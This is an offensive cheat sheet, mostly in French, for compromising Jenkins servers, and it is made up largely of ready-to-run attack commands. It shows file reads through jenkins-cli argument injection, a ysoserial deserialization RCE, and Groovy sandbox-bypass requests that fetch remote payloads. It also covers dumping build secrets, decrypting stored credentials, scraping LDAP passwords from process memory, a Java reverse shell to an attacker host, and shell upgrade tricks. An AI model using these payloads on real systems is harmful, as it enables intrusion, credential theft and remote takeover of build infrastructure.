
Notes about attacking Jenkins servers
Authentifié, peut récupérer un fichier complet :
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins -auth abc:abc connect-node "@/etc/passwd"
Non authentifié ou sans les permissions Global/Read, ne peut lire que 3 lignes : Read first line:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins who-am-i "@/etc/passwd"
Read second line:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins enable-job "@/etc/passwd"
Read third line:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins keep-build "@/etc/passwd"
Comment bruteforcer la clé de chiffrement des identifiants.
Utilisez ysoserial pour générer une charge utile. Puis exécutez la RCE à l'aide de ce script :
java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out
./jenkins_rce.py jenkins_ip jenkins_port payload.out
Détails ici.
Si le serveur Jenkins demande une authentification mais renvoie des données valides avec la requête suivante, il est vulnérable :
curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a
Vulnérabilité RCE originale ici, exploit complet ici.
Autre possibilité de RCE avec les permissions Overall/Read et Job/Configure ici.
Vérifiez si une instance Jenkins est vulnérable (nécessite les permissions Overall/Read) avec un peu de Groovy :
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'
Remarque : si vous obtenez une erreur 403 concernant un crumb manquant (qui est une protection CSRF dans Jenkins), vous pouvez peut-être obtenir la valeur du crumb via une requête GET vers https://example.com/crumbIssuer/api/json. La valeur du crumb doit ensuite être ajoutée à la requête POST dans un en-tête Jenkins-Crumb.
Exécutez des commandes bash arbitraires :
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'
Si vous n'obtenez pas immédiatement un shell inverse, vous pouvez déboguer en levant une exception :
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'
Cette exploitation ne fonctionne que si un utilisateur possède les droits « Jobs/Configure » dans la matrice de sécurité ; elle est donc très spécifique.
Notez que cette vulnérabilité n'est exploitable qu'en utilisant un Update Center dédié et obsolète. Par conséquent, la plupart des serveurs ne sont pas vulnérables.
Utilisez ce script pour extraire les sorties de console des builds et les variables d'environnement des builds, dans l'espoir de trouver des secrets en clair.
usage: jenkins_dump_builds.py [-h] [-u USER] [-p PASSWORD] [-o OUTPUT_DIR]
[-l] [-r] [-d] [-s] [-v]
url [url ...]
Dump all available info from Jenkins
positional arguments:
url
optional arguments:
-h, --help show this help message and exit
-u USER, --user USER
-p PASSWORD, --password PASSWORD
-o OUTPUT_DIR, --output-dir OUTPUT_DIR
-l, --last Dump only the last build of each job
-r, --recover_from_failure
Recover from server failure, skip all existing
directories
-d, --downgrade_ssl Downgrade SSL to use RSA (for legacy)
-s, --no_use_session Don't reuse the HTTP session, but create a new one for
each request (for legacy)
-v, --verbose Debug mode
Utilisez ce script python ou ce script powershell.
Ces fichiers sont nécessaires pour déchiffrer les secrets Jenkins :
De tels secrets se trouvent généralement dans :
Voici une expression régulière pour les trouver :
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
Si Jenkins est configuré pour vérifier les identifiants utilisateur en les relayant vers un LDAP (ce qui est absurde, mais constitue une vulnérabilité courante dans les entreprises), il est possible de récupérer ces identifiants utilisateur en clair en extrayant la mémoire du processus Java. En supposant que le PID du serveur Jenkins est 7, la boucle suivante effectuera un dump mémoire de la pile toutes les 30 secondes :
head -n 1 /proc/7/maps
a=<first hex number>
b=<second hex number>
while [ 1 ]; do dd if=/proc/7/mem bs=$(getconf PAGESIZE) iflag=skip_bytes,count_bytes skip=$((0x$a)) count=$((0x$b - 0x$a)) of=/tmp/tmp.bin; strings /tmp/tmp.bin | grep "uid=" && break; sleep 30; done
Un petit délai est important car le garbage collector libérera régulièrement les structures d'identifiants.
Utilisez ce script pour déchiffrer les secrets précédemment extraits.
Usage:
jenkins_offline_decrypt.py <jenkins_base_path>
or:
jenkins_offline_decrypt.py <master.key> <hudson.util.Secret> [credentials.xml]
or:
jenkins_offline_decrypt.py -i <path> (interactive mode)
println(hudson.util.Secret.decrypt("{...}"))
def proc = "id".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
Commande shell multiligne pouvant inclure des pipes, des redirections et autres :
def proc = ['bash', '-c', '''your_long_command_here'''].execute();
Automatisez-le avec ce script.
Par défaut, l'exécution se fait sur le nœud maître. Utilisez ce script pour exécuter sur un esclave spécifique :
import hudson.util.RemotingDiagnostics
import jenkins.model.Jenkins
String agent_name = 'slave_name'
groovy_script = '''
def proc = ['cmd', '/c', 'cd D:\\\\ && dir data'].execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
'''
String result
Jenkins.instance.slaves.find { agent ->
agent.name == agent_name
}.with { agent ->
result = RemotingDiagnostics.executeGroovy(groovy_script, agent.channel)
}
println result
String host="myip";
int port=1234;
String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)so.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Je laisse cette astuce de shell inverse pour récupérer un PTY entièrement fonctionnel ici, au cas où quelqu'un en aurait besoin :
python -c 'import pty; pty.spawn("/bin/bash")'
^Z bg
stty -a
echo $TERM
stty raw -echo
fg
export TERM=...
stty rows xx columns yy